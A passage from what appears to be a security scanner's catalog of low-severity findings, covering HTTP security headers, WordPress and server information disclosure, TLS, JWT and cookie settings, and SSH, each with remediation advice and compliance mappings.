CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A06:2021 - Vulnerable and Outdated Components
NIST 800-53: SI-2
PCI DSS 4: 6.3.3
LOW FR-004 — WordPress readme.html Accessible
Description: The WordPress readme.html file is publicly accessible. This file may disclose the WordPress version and other installation details.
Remediation: Remove or restrict access to readme.html via web server configuration.
OWASP Web: A06:2025
LOW FR-009 — WordPress Password Reset Form Accessible
Description: The WordPress password reset form is accessible. Combined with user enumeration, this could facilitate account takeover via password reset abuse.
Remediation: Implement rate limiting on the password reset endpoint and ensure username/email enumeration is not possible through error messages.
OWASP Web: A07:2025
LOW FR-010 — WordPress X-Pingback Header Present
Description: The X-Pingback HTTP header is present, advertising the XML-RPC pingback endpoint. This confirms XML-RPC is enabled and may facilitate SSRF or DDoS amplification.
Remediation: Disable XML-RPC or remove the X-Pingback header via web server configuration if XML-RPC functionality is not required.
OWASP Web: A05:2025
LOW FR-017 — WordPress Media Files Enumerable via REST API
Description: The WordPress REST API /wp/v2/media endpoint exposes a list of uploaded media files without authentication, revealing site content structure and potentially sensitive file paths.
Remediation: Restrict the media REST API endpoint to authenticated users or disable it if not needed for public consumers.
OWASP Web: A01:2025
LOW FR-019 — WordPress Username Disclosed via oEmbed API
Description: The WordPress oEmbed endpoint discloses the site author username in its JSON response. This provides an additional username enumeration vector.
Remediation: Disable the oEmbed endpoint if not required, or customize the author name field to avoid exposing login usernames.
OWASP Web: A07:2025
LOW FR-027 — Server Banner Disclosure
Description: The HTTP Server header discloses the web server software name and version. This information assists attackers in identifying applicable CVEs and exploit modules.
Remediation: Configure the web server to suppress or genericize the Server header. Remove version information from all HTTP response headers.
OWASP Web: A05:2025
LOW FR-028 — X-Powered-By Header Discloses Technology Stack
Description: The X-Powered-By HTTP response header discloses the backend technology (e.g., PHP version, ASP.NET version, Express). This aids fingerprinting and CVE targeting.
Remediation: Remove or suppress the X-Powered-By header in web server and application framework configuration.
OWASP Web: A05:2025
LOW FR-063 — Missing X-Content-Type-Options Header
Description: The X-Content-Type-Options header is absent. Without this header, browsers may perform MIME type sniffing, potentially executing uploaded files as scripts.
Remediation: Add 'X-Content-Type-Options: nosniff' to all HTTP responses.
OWASP Web: A05:2025
LOW FR-064 — Missing Referrer-Policy Header
Description: The Referrer-Policy header is absent. Without this header, the browser's default behavior may leak the full URL (including query parameters and path) in the Referer header to third-party origins.
Remediation: Add 'Referrer-Policy: strict-origin-when-cross-origin' or a more restrictive policy to prevent sensitive URL data leakage.
OWASP Web: A05:2025
LOW FR-065 — Missing Permissions-Policy Header
Description: The Permissions-Policy (formerly Feature-Policy) header is absent. This header controls which browser features and APIs are available to the page and embedded third-party content.
Remediation: Add a Permissions-Policy header that disables browser features not required by the application (e.g., camera, microphone, geolocation).
OWASP Web: A05:2025
LOW FR-095 — Information Disclosure: Internal IP in JavaScript
Description: Internal IP addresses or hostnames were found referenced in client-side JavaScript. This reveals internal network topology and may aid in SSRF attacks.
Remediation: Remove internal IP addresses from client-side code. Use relative URLs or environment-specific configuration injection to avoid hardcoded internal references.
OWASP Web: A05:2025
LOW FR-098 — HTML Comment Discloses Sensitive Information
Description: HTML comments in the page source reveal sensitive information such as developer notes, TODO items, internal system names, credentials, or debug information.
Remediation: Remove all sensitive comments from HTML templates and responses before deployment. Implement a pre-deployment review process to catch information leakage.
OWASP Web: A05:2025
LOW FR-113 — Sensitive File Exposed — Composer/NPM Metadata
Description: Package metadata files (composer.json, package.json, package-lock.json, composer.lock) are publicly accessible. These reveal application dependencies and versions, aiding in CVE identification.
Remediation: Block access to package metadata files via web server configuration. Move these files outside the web root or deny access to them.
OWASP Web: A05:2025
LOW FR-120 — GraphQL Field Suggestion Enabled
Description: The GraphQL server returns 'Did you mean X?' suggestions when querying non-existent fields. This allows schema enumeration even when introspection is disabled.
Remediation: Disable field suggestions in the GraphQL server configuration. In Apollo Server, set the 'debug' option to false.
OWASP Web: A05:2025
LOW FR-164 — shcheck — Missing Security Header
Description: Security header analysis via shcheck identified one or more missing or misconfigured HTTP security headers. Missing security headers increase exposure to common browser-based attacks.
Remediation: Implement the missing security headers identified by shcheck. Refer to the OWASP Secure Headers Project for recommended header values and configurations.
OWASP Web: A05:2025
LOW FR-180 — Information Disclosure: Internal Path in Response
Description: Internal filesystem paths (e.g., /var/www/html/, C:\inetpub\wwwroot\) are disclosed in HTTP responses, error pages, or HTTP headers. These paths aid attackers in fingerprinting the server environment.
Remediation: Configure custom error pages. Remove all internal path references from HTTP responses. Review template and error handling code for inadvertent path disclosure.
OWASP Web: A05:2025
LOW FR-189 — TLS OCSP Stapling Not Configured
Description: OCSP stapling is not configured on the server. Without stapling, clients must query the OCSP responder directly to check certificate revocation status, introducing latency and potential privacy leakage.
Remediation: Enable OCSP stapling in the web server configuration (ssl_stapling on in Nginx; SSLUseStapling on in Apache). Include the OCSP stapling cache configuration.
OWASP Web: A02:2025
LOW FR-207 — Information Disclosure: Sensitive Path in robots.txt
Description: The robots.txt file discloses path patterns intended to be hidden from search engines. These paths are still accessible by attackers and their disclosure aids reconnaissance.
Remediation: Remove sensitive paths from robots.txt. Use proper access controls to restrict access to sensitive areas rather than relying on search engine exclusion.
OWASP Web: A05:2025
LOW FR-208 — Information Disclosure: Server Header
Description: The HTTP Server response header reveals the web server software name and version, reducing the attacker's reconnaissance effort needed to identify version-specific vulnerabilities.
Impact: The Server header discloses the web server software and version, enabling an attacker to search for known vulnerabilities specific to that version. This information reduces the reconnaissance effort required for targeted exploitation and is a prerequisite for version-specific exploit selection.
Remediation: Remove or genericise the Server response header in the web server configuration (e.g., ServerTokens Prod in Apache; server_tokens off in nginx).
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW FR-209 — Information Disclosure: X-Powered-By Header
Description: The X-Powered-By response header discloses the application framework, language, or runtime version, reducing the attacker's effort needed to identify version-specific vulnerabilities.
Impact: The X-Powered-By header reveals the application framework and version (e.g., PHP, ASP.NET), enabling targeted vulnerability research. An attacker uses this to narrow exploit selection to framework-specific attacks.
Remediation: Remove or suppress the X-Powered-By header at the application framework or reverse-proxy level.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW FR-210 — Information Disclosure: X-AspNet-Version Header
Description: The X-AspNet-Version header discloses the exact .NET framework version in use, assisting attackers in identifying version-specific vulnerabilities.
Impact: The X-AspNet-Version header discloses the exact ASP.NET runtime version, enabling an attacker to identify applicable CVEs and select exploits specific to that runtime version.
Remediation: Set <httpRuntime enableVersionHeader='false' /> in Web.config and configure the reverse proxy to strip this header.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW FR-211 — Information Disclosure: Via Header
Description: The Via response header discloses internal proxy or gateway infrastructure details, including software versions and internal host names.
Impact: The Via header reveals proxy infrastructure including reverse proxy software and internal routing topology. This information enables an attacker to identify proxy-specific bypass techniques and map the internal network architecture.
Remediation: Configure reverse proxies to suppress or genericise the Via header.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW FR-214 — Software Version Disclosed
Description: Software version information was identified in response headers, HTML meta tags, error pages, or JavaScript files. A known version allows attackers to rapidly identify applicable CVEs.
Impact: Disclosed software versions allow an attacker to search vulnerability databases for known CVEs affecting that specific version, reducing the effort required for targeted exploitation. Version information also reveals the organization's patching cadence and maintenance practices.
Remediation: Remove version disclosure from all response surfaces. Suppress generator tags, version comments, and version-bearing headers.
Effort: Low
OWASP Web: A05:2025
MITRE ATT&CK: T1592.002 (Reconnaissance), T1595.002 (Reconnaissance)
NIST 800-53: CM-8, SI-2, CM-7
PCI DSS 4: 6.3.3
LOW FR-215 — Virtual Host Discovered
Description: A virtual host was identified via Host header fuzzing or DNS enumeration. Additional virtual hosts on the same IP may have weaker security configurations or expose internal applications.
Remediation: Restrict virtual host binding to expected Host headers. Return consistent responses for unrecognised Host header values.
Effort: Low
OWASP Web: A05:2025
MITRE ATT&CK: T1592.002 (Reconnaissance), T1595.002 (Reconnaissance)
NIST 800-53: CM-8, SI-2, CM-7
PCI DSS 4: 6.3.3
LOW FR-227 — Hidden Parameter Discovered
Description: A hidden form parameter or non-visible request parameter was discovered. Hidden parameters may be used to pass state or control values that are not exposed in the UI but are processed server-side.
Remediation: Review hidden parameters and ensure they do not bypass security controls or expose sensitive functionality.
Effort: Low
OWASP Web: A05:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion), T1589 (Reconnaissance)
NIST 800-53: IA-5, SI-10
PCI DSS 4: 8.3.1
LOW FR-235 — Information Disclosure: WordPress Version
Description: The WordPress version was identified. A known version allows attackers to rapidly identify version-specific CVEs affecting WordPress core.
Remediation: Remove version disclosure from generator meta tags and restrict access to files that reveal version information. Keep WordPress core updated to the latest stable release.
OWASP Web: A06:2025
LOW FR-255 — SSL/TLS DNS: Missing CAA Record
Description: No CAA (Certification Authority Authorization) DNS record exists for the domain. Without CAA, any certificate authority can issue certificates for this domain, increasing mis-issuance risk.
Impact: Without a CAA (Certificate Authority Authorization) DNS record, any certificate authority can issue certificates for the domain. An attacker who compromises a less-secure CA or exploits a CA validation flaw can obtain a legitimate certificate for the domain, enabling transparent man-in-the-middle attacks that bypass certificate validation.
Remediation: Add a CAA record specifying the authorised CA(s) for certificate issuance.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1588.004 (Resource Development)
NIST 800-53: SC-20, SC-23
PCI DSS 4: 4.2.1
LOW FR-263 — Missing Security Header
Description: One or more HTTP security headers are absent from the server response. Missing security headers weaken the browser's ability to enforce content security policies, prevent clickjacking, and mitigate XSS.
Remediation: Configure all recommended security headers: Content-Security-Policy, Strict-Transport-Security, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy.
OWASP Web: A05:2025
LOW FR-264 — Permissive Security Header: Content-Security-Policy
Description: The Content-Security-Policy header is present but contains permissive directives such as 'unsafe-inline', 'unsafe-eval', or wildcard ('*') sources that significantly weaken its XSS protection.
Remediation: Replace permissive CSP directives with specific, trusted origins. Use nonces or hashes instead of 'unsafe-inline'.
OWASP Web: A05:2025
LOW FR-265 — Permissive Security Header: X-Frame-Options
Description: The X-Frame-Options header is set to ALLOW-FROM or is absent, allowing the page to be embedded in iframes from arbitrary origins and enabling clickjacking attacks.
Remediation: Set X-Frame-Options to DENY or SAMEORIGIN. Prefer the frame-ancestors CSP directive for modern browsers.
OWASP Web: A05:2025
LOW FR-266 — Permissive Security Header: Strict-Transport-Security
Description: The Strict-Transport-Security header is present but has an insufficient max-age value or is missing the includeSubDomains directive.
Remediation: Set HSTS max-age to at least 31536000 (1 year) and include the includeSubDomains directive. Consider adding to the HSTS preload list.
OWASP Web: A05:2025
LOW FR-267 — Permissive Security Header: Referrer-Policy
Description: The Referrer-Policy header allows sensitive URL information to be included in the Referer header sent to third-party origins, potentially leaking authentication tokens or PII.
Remediation: Set Referrer-Policy to 'strict-origin-when-cross-origin' or 'no-referrer'.
OWASP Web: A05:2025
LOW FR-268 — Permissive Security Header: X-Content-Type-Options
Description: The X-Content-Type-Options header is missing or set to a value other than 'nosniff', allowing browsers to MIME-sniff the content type and execute uploaded files as scripts.
Remediation: Set X-Content-Type-Options: nosniff on all responses.
OWASP Web: A05:2025
LOW FR-269 — Permissive Security Header: Cache-Control
Description: Sensitive pages lack appropriate Cache-Control directives, allowing browser or proxy caches to store sensitive data. Cached sensitive pages may be retrieved by other users of shared devices.
Remediation: Set 'Cache-Control: no-store, no-cache, must-revalidate' on all authenticated and sensitive pages.
OWASP Web: A05:2025
LOW FR-270 — Missing Cache-Control on Sensitive Page
Description: An authenticated or sensitive page does not set Cache-Control headers to prevent caching. The page content may be stored in browser or proxy caches and retrieved by subsequent users.
Remediation: Add 'Cache-Control: no-store, no-cache, must-revalidate' to all pages that display authenticated or sensitive data.
OWASP Web: A05:2025
LOW FR-271 — Misconfigured Expect-CT Header (max-age=0 with enforce)
Description: The Expect-CT header is set with max-age=0 and the enforce directive. This configuration is contradictory and ineffective for certificate transparency enforcement.
Remediation: Remove the enforce directive or set an appropriate max-age value for Expect-CT. Consider relying on the browser's built-in CT enforcement instead.
OWASP Web: A05:2025
LOW FR-336 — GraphQL Field Suggestions Enabled
Description: GraphQL field suggestions are enabled. When an invalid field name is queried, the server responds with suggestions for similar valid field names. This assists attackers in enumerating the GraphQL schema without introspection access.
Remediation: Disable field suggestions in the GraphQL server configuration (e.g., in Apollo Server, disable suggestions via the formatError hook).
OWASP Web: A05:2025
LOW FR-415 — Missing Subresource Integrity — {entry['tag']} from {entry['host']}
Description: An HTML page loads a script or stylesheet from an external CDN or third-party host without a Subresource Integrity (SRI) hash attribute, allowing a compromised CDN to inject malicious code.
Impact: If the external CDN is compromised, an attacker can inject arbitrary JavaScript or CSS into pages that include the resource, enabling cross-site scripting, credential theft, or session hijacking for all users.
Remediation: Add integrity and crossorigin attributes to all <script> and <link> tags loading external resources. Generate SRI hashes using sha384 or sha512.
Effort: Easy
OWASP Web: A08:2025 Software and Data Integrity Failures
NIST 800-53: SI-7
LOW FR-421 — SSL/TLS Vulnerability: Lucky13 [UNCONFIRMED]
Description: The server may be vulnerable to the LUCKY13 timing attack, a padding oracle attack against TLS CBC-mode cipher suites that exploits timing differences in MAC verification.
Impact: A sophisticated attacker on the network path could potentially recover plaintext from TLS-encrypted sessions by measuring timing variations in the server's response to crafted ciphertext. The attack is theoretically possible but practically difficult to exploit.
Remediation: Disable CBC-mode cipher suites and prefer AEAD ciphers (AES-GCM, ChaCha20-Poly1305). If CBC must be supported, ensure the TLS implementation includes constant-time MAC verification.
Effort: Moderate
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-13
LOW FR-427 — HSTS Not Preload-Ready
Description: The Strict-Transport-Security header is present but does not meet browser preload list requirements.
Impact: The site remains vulnerable to SSL-stripping on first visit until the HSTS header is received.
Remediation: Set max-age to at least 31536000 and add the includeSubDomains and preload directives.
Effort: Easy
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
LOW FR-431 — Content-Type Confusion
Description: The server responds with a Content-Type that does not match the requested Accept header without X-Content-Type-Options enforcement.
Impact: Browsers may interpret content differently than intended, potentially enabling MIME sniffing attacks.
Remediation: Set X-Content-Type-Options: nosniff and ensure Content-Type headers accurately reflect response body format.
Effort: Easy
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-10
LOW FR-461 — Information Disclosure: Internal Hostname in HTTP Response
Description: HTTP response headers or body contain internal hostnames (.local, .internal, .corp, .lan, etc.), disclosing naming conventions and network topology.
Impact: Internal hostnames reveal infrastructure naming patterns and topology, aiding reconnaissance and potentially enabling blind SSRF attacks when callback parameters exist.
Remediation: Remove internal hostnames from HTTP response headers (Server, Via, X-Powered-By, X-Backend-Server) and response bodies. Configure reverse proxies to strip internal routing headers.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1018 (Discovery)
NIST 800-53: SC-8, SI-11
PCI DSS 4: 6.5.10
LOW FR-464 — Unhandled Application Exception Disclosed
Description: HTTP responses contain exception class names, stack traces, or debug output patterns from various frameworks (Python, Java, .NET, PHP, Node.js, Ruby, SQL).
Impact: Exception details disclose implementation language, framework version, file paths, database type, and SQL queries, significantly reducing the effort needed for targeted exploitation.
Remediation: Implement custom error pages. Disable debug mode in production. Log exceptions server-side only. Never expose stack traces in HTTP responses.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-11
PCI DSS 4: 6.5.5
LOW FR-467 — Password Field With Autocomplete Enabled
Description: Password input fields do not set autocomplete='off', allowing browsers to cache entered passwords.
Impact: On shared workstations, cached passwords can be retrieved by subsequent users, compromising accounts.
Remediation: Set autocomplete='off' or autocomplete='new-password' on all password input fields.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A04:2025 Insecure Design
NIST 800-53: IA-5
PCI DSS 4: 6.2.4
LOW FR-476 — Information Disclosure: ETag
Description: The ETag response header follows the Apache inode-size-mtime format, disclosing filesystem inode numbers that can fingerprint shared hosting.
Impact: Inode values reveal file identity and can be used to detect shared hosting, map filesystem structure, and fingerprint specific web servers.
Remediation: Configure Apache: FileETag MTime Size (remove INode). For nginx, ETag is based on modification time and size by default.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-11
LOW FR-477 — Information Disclosure: Internal Hostname in SAN
Description: The TLS certificate's Subject Alternative Names include internal hostnames that disclose naming conventions and network topology.
Impact: Internal hostnames in certificates reveal naming conventions, infrastructure topology, and internal service locations to external attackers.
Remediation: Issue separate certificates for internal and external services. Remove internal hostnames from externally visible certificate SANs.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-8
LOW FR-478 — Cloud Storage Bucket URL Exposed
Description: Cloud storage bucket URLs (AWS S3, Google Cloud Storage, Azure Blob) are exposed in page content, enabling cloud infrastructure reconnaissance.
Impact: Exposed bucket URLs enable attackers to test for misconfigured public access, potentially accessing sensitive data stored in the cloud.
Remediation: Serve static assets through a CDN with a custom domain. Restrict bucket access policies. Do not store sensitive data in publicly referenced buckets.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1530 (Collection)
NIST 800-53: SC-7
LOW FR-481 — Overly Permissive Permissions-Policy Header
Description: The Permissions-Policy (or Feature-Policy) header grants wildcard (*) access to sensitive browser features such as camera, microphone, geolocation, or payment. This allows any third-party iframe or embedded content to access these device capabilities, increasing the risk of privacy violations and data exfiltration. CWE-16.
Impact: Third-party content embedded in iframes can access the user's camera, microphone, geolocation, or payment APIs without restriction. A compromised or malicious third-party script can silently activate these features for surveillance or data theft.
Remediation: Restrict sensitive features in the Permissions-Policy header to self only or disable them entirely. Replace wildcard (*) values with specific origins or empty allowlists: Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(), usb=().
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-10, SC-28
PCI DSS 4: 6.2.4
LOW FR-499 — Security-Sensitive Hidden Parameter
Description: arjun discovered a hidden HTTP parameter with a security-sensitive name pattern (such as admin, debug, test, secret, token, key, or password). These parameters suggest debug functionality, authentication bypasses, or configuration controls that should not be accessible in production.
Impact: Security-sensitive hidden parameters frequently enable debug modes, expose verbose error output, bypass authentication, or reveal API keys and tokens. An attacker who discovers a 'debug=true' parameter may gain access to stack traces, internal paths, and database queries. Parameters named 'token' or 'key' may accept forged credentials.
Remediation: Remove all debug, test, and administrative parameters from production deployments. If debug functionality is required, gate it behind strong authentication and restrict access to authorized personnel. Audit parameter names for sensitive patterns during code review.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2025 Broken Access Control
OWASP API: API9:2023 Improper Inventory Management
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: CM-7, SC-28
PCI DSS 4: 6.2.4, 6.5.1
LOW FR-506 — Unkeyed Header in Cache Response
Description: toxicache detected that the web cache does not include a specific HTTP header in its cache key, but the header's value is reflected in the cached response. This means the header could potentially be used for cache poisoning if an exploitable reflection point is found.
Impact: An unkeyed header that is reflected in the response is a prerequisite for web cache poisoning. While this finding alone does not confirm exploitation, it indicates that the cache configuration does not properly account for all inputs that influence the response. This is the foundation for cache poisoning attacks that can lead to stored XSS, phishing, or defacement at scale.
Remediation: Include all security-relevant HTTP headers in the cache key configuration. Review cache configuration to ensure that any header whose value appears in responses is either included in the cache key or stripped before caching.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-8
PCI DSS 4: 6.2.4
LOW FR-509 — Overly Broad Cookie Domain Scope
Description: Session cookies are scoped to a parent domain rather than the application's specific hostname, allowing any subdomain under the parent to read these cookies.
Impact: A compromised sibling application on any subdomain under the parent domain can read and replay session cookies, enabling cross-application session hijacking without attacking the target directly.
Remediation: Set the cookie Domain attribute to the exact hostname of the application. Avoid using parent domain cookies unless required for cross-subdomain SSO.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: SC-23
PCI DSS 4: 6.2.4
LOW FR-513 — JWT Excessive Lifetime
Description: A JWT token has an excessively long lifetime (>24 hours). Long-lived tokens increase the window for token theft and replay attacks.
Impact: Extended token lifetimes give attackers a wider window to intercept, steal, and reuse tokens. If a token is compromised, the attacker maintains access for the full remaining lifetime without needing to re-authenticate.
Remediation: Reduce JWT lifetime to 15-60 minutes for access tokens. Use refresh tokens for session continuity. Implement token revocation for compromised tokens.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: AC-12
PCI DSS 4: 8.2.8
LOW FR-515 — JWT Missing Audience Claim
Description: A JWT token has no 'aud' (audience) claim. Without audience restriction, tokens intended for one service may be replayed against a different service that shares the same signing key.
Impact: Tokens can be cross-replayed between services that share signing infrastructure. An attacker with a token from a lower-privilege service can replay it against a higher-privilege service if no audience validation is performed.
Remediation: Include an 'aud' claim in all JWTs identifying the intended recipient. Validate the audience server-side and reject tokens with unexpected audience values.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: IA-5
LOW FR-519 — Mixed Content on Authenticated Page
Description: The authenticated HTTPS page loads resources over plain HTTP. Mixed content allows a network attacker to inject malicious resources into the authenticated page via MITM.
Impact: A network-positioned attacker can modify HTTP-loaded resources (scripts, styles, images) in transit, injecting malicious content into the authenticated HTTPS page. This can lead to session hijacking, credential theft, or arbitrary code execution in the user's browser context.
Remediation: Load all resources over HTTPS. Use Content-Security-Policy: upgrade-insecure-requests to automatically upgrade HTTP to HTTPS.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
LOW FR-520 — Potential Session Puzzling
Description: The same session cookie name is assigned different values across functionally distinct paths (login, registration, password reset, profile). This may indicate session variable overloading where authentication state from one context can be leveraged in another.
Impact: An attacker may exploit session puzzling to escalate privileges by initiating a session in one security context (e.g. password reset flow) and presenting it to another context (e.g. authenticated dashboard) where the session variables carry unintended authority.
Remediation: Use separate session variables for each functional context (authentication, registration, password reset). Regenerate session IDs at each privilege boundary. Do not reuse session objects across security contexts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: SC-23
LOW GB-NET-006 — mDNS / Bonjour Service Announcement
Description: The device is broadcasting mDNS (Multicast DNS / Bonjour / Avahi) service announcements. These expose device capabilities, hostname, model information, and available services to all hosts on the local segment.
Remediation: Disable mDNS service announcement on production devices if not required for operation. Apply network segmentation to prevent mDNS traffic crossing boundaries.
LOW GB-RF-004 — Rolling-Code Sub-GHz Remote Detected
Description: A rolling-code (KeeLoq/HCS/Security+ class) sub-GHz remote was detected — a positive control that defeats naive single-frame replay.
Impact: Rolling codes still fall to jam-and-capture ('RollJam') and, for some legacy KeeLoq/fixed-seed variants, to key/seed-recovery attacks, so the control is not absolute and should be validated for counter-window and cipher strength.
Remediation: Keep firmware current, enforce a tight rolling-counter resync window, prefer AES-based rolling schemes over legacy KeeLoq, and consider bidirectional authenticated pairing.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N
MITRE ATT&CK: T0831 (Impair Process Control)
LOW GB-SC-004 — Predictable Smart Card Serial Number
Description: The card serial/UID returned by the card is low-entropy, sequential, or otherwise predictable rather than cryptographically random.
Impact: A guessable or sequential serial lets an attacker enumerate valid card identities, forge enrolment records, or correlate a card to a holder, undermining any control that trusts the serial as an identifier.
Remediation: Issue cards with cryptographically-random, high-entropy serial/UID values; never derive the identifier from a sequential batch counter.
Effort: Moderate
NIST 800-53: IA-4
LOW GB-SSH-006 — SSH Password Authentication Enabled
Description: The SSH server accepts password-based authentication methods (password and/or keyboard-interactive) alongside public key authentication. Password authentication is susceptible to brute-force attacks and does not enforce multi-factor authentication.
Impact: An attacker can attempt password brute-force attacks against the SSH service. Even with strong passwords, password authentication lacks the cryptographic assurance of key-based authentication and is incompatible with most MFA implementations. Compliance frameworks including CIS Benchmarks and DISA STIGs mandate public-key-only SSH authentication.
Remediation: Disable PasswordAuthentication and ChallengeResponseAuthentication in /etc/ssh/sshd_config. Require public key authentication exclusively. CIS Benchmark and DISA STIG both mandate disabling password-based SSH login.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.4
LOW GB-TLS-006 — SSL/TLS — Missing HSTS Header
Description: The HTTPS service does not return a Strict-Transport-Security header. Clients may be susceptible to SSL stripping attacks.
Remediation: Add Strict-Transport-Security: max-age=31536000; includeSubDomains; preload to all HTTPS responses.
LOW GB-TLS-012 — SSL/TLS Certificate: Expiring Soon
Description: The server's TLS certificate has a remaining validity of fewer than 30 days, placing it at imminent risk of expiry. Upon expiry, browser and client connections will be rejected with a certificate trust error, causing a service outage that appears indistinguishable from a site being down. In environments without automated certificate renewal, short expiry windows frequently result in user-facing downtime and may indicate a weak certificate lifecycle management process.
Remediation: Renew the certificate immediately to restore a full validity window. Implement automated certificate renewal using the ACME protocol (Let's Encrypt with certbot, acme.sh, or Caddy) to eliminate manual renewal dependency. Configure monitoring alerts when certificate expiry is within 30 and 14 days.
LOW GB-TLS-013 — SSL/TLS - Overly Long Certificate Expiry
Description: The TLS certificate has a validity period exceeding 398 days, in violation of the CA/Browser Forum baseline requirements adopted by all major browsers since September 2020. Certificates with excessively long lifetimes present elevated risk: compromised private keys or mis-issuance cannot be remediated without active revocation (which is poorly enforced by clients), and the certificate may outlive the cryptographic assumptions under which it was issued. Major browsers now hard-fail on certificates exceeding 398 days issued after the policy effective date.
Remediation: Reissue the certificate with a validity period of 398 days or fewer. Transition to automated ACME-based 90-day renewal (Let's Encrypt) to align with current CA/B Forum best practices and reduce reliance on long-lived credentials.
LOW GB-VULN-004 — Nessus Low / Informational Finding
Description: Nessus Professional identified a low-severity or informational finding. May represent configuration observations or version disclosures without direct exploitability.
Remediation: Include in routine hardening backlog.
LOW GB-WEB-003 — Web — Missing Security Headers
Description: One or more recommended HTTP security headers are absent: Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy.
Remediation: Add all recommended security headers to HTTP responses. Review shcheck output for the specific missing headers.
LOW GB-WEB-004 — Information Disclosure: Server Header
Description: The HTTP Server response header reveals the web server software name and version, reducing the attacker's reconnaissance effort needed to identify version-specific vulnerabilities.
Remediation: Remove or genericise the Server response header in the web server configuration (e.g., ServerTokens Prod in Apache; server_tokens off in nginx).
LOW GB-WEB-007 — Missing Secure Cookie Attribute: HttpOnly
Description: A session or sensitive cookie was identified without the HttpOnly attribute. Without this flag, the cookie value is accessible to JavaScript running in the page context, making it directly extractable by any cross-site scripting (XSS) vulnerability on the same domain. An attacker who finds a reflected or stored XSS flaw can trivially read the session cookie via document.cookie and hijack the authenticated session without needing to exploit the TLS layer.
